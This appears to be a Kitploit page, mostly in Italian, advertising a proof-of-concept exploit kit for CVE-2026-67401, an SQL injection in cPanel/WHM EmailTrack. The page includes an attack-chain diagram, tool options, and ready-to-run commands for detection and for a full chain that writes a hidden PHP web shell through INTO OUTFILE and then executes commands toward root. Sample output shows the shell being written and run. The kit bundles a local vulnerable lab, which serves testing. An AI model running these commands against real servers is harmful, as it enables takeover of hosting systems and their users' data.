CVE-2026-67401 — Proof-of-concept per CVE-2026-67401, un'iniezione SQL in EmailTrack di cPanel/WHM che consente la scrittura arbitraria di file e RCE come root, con sonde di rilevamento SQLi e un laboratorio vulnerabile autonomo. | Kitploit

┌─────────────┐      ┌────────────┐      ┌─────────┐      ┌──────────┐
│ Auth as     │ ───► │ SQLi in    │ ───► │ INTO    │ ───► │ RCE as   │
│ cPanel user │      │ EmailTrack │      │ OUTFILE │      │ root     │
│ (mail priv) │      │ API call   │      │ (shell) │      │          │
└─────────────┘      └────────────┘      └─────────┘      └──────────┘

File	Descrizione
`poc_sqli.py`	Rilevamento SQL injection: boolean-based, time-based e conteggio colonne UNION
`poc_full_chain.py`	Catena di exploit completa: SQLi → web shell `INTO OUTFILE` → RCE → guida per root
`lab/vuln_server.py`	Simulazione locale del backend EmailTrack vulnerabile (sicura, autonoma)
`README.md`	Questo documento

Argomento	Descrizione
`-H, --host`	Host cPanel, ad es. `https://cp.example.com:2083`
`-u, --username`	Account cPanel con privilegi di posta
`-p, --password`	Password dell'account
`--param`	Parametro iniettabile (predefinito: `account`)
`--mode`	`detect` (predefinito), `boolean`, `timing`, `union` o `all`
`--sleep`	Durata di `SLEEP()` per la sonda timing (predefinita: `3.0`)
`--dump-version`	Tenta di estrarre la versione del DBMS tramite UNION
`--insecure`	Salta la verifica del certificato TLS

# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union

# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5

Argomento / Env	Descrizione
`host` (posizionale)	Host cPanel, oppure imposta la variabile `CPANEL_HOST`
`CPANEL_USER`	Account cPanel con privilegi di posta
`CPANEL_PASS`	Password dell'account
`--shell-base`	URL di base che serve `public_html` (dove viene raggiunta la web shell)
`--insecure`	Salta la verifica del certificato TLS
`--no-escalate`	Fermati dopo l'RCE; salta la guida per l'escalation a root
`SHELL_NAME` (env)	Nome file della web shell (predefinito: `.mail.cache.php`)

# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
  --insecure --mode detect

# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
  python3 poc_full_chain.py https://cp.example.com:2083 \
  --shell-base https://cp.example.com --insecure

  CVE-2026-67401  cPanel/WHM EmailTrack SQLi -> File Write -> RCE
  version 1.0

  target: http://127.0.0.1:18123
  user:   alice
  [+] authenticated
  [1] confirming SQL injection in EmailTrack `account`
  [+] boolean-based SQLi CONFIRMED
  [+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
  [2] determining column count via UNION
  [+] target query has 5 columns
  [3] writing PHP web shell via SELECT ... INTO OUTFILE
  [+] shell written -> /home/alice/public_html/.mail.cache.php
  [4] executing commands through the web shell
  [+] id -> uid=1000(x) gid=1000(x) ...

11.110	11.110.0.143
11.134	11.134.0.55
11.136	11.136.0.39
11.138	11.138.0.4
WP2 (11.138)	11.138.1.9

CVE-2026-67401

Più Popolari

Catena di exploit

Contenuto del repository

Requisiti

Utilizzo

1. Avviare il lab locale

2. Rilevamento SQL injection

3. Catena di exploit completa

4. Contro un target reale

Risultati verificati

Riferimenti

Licenza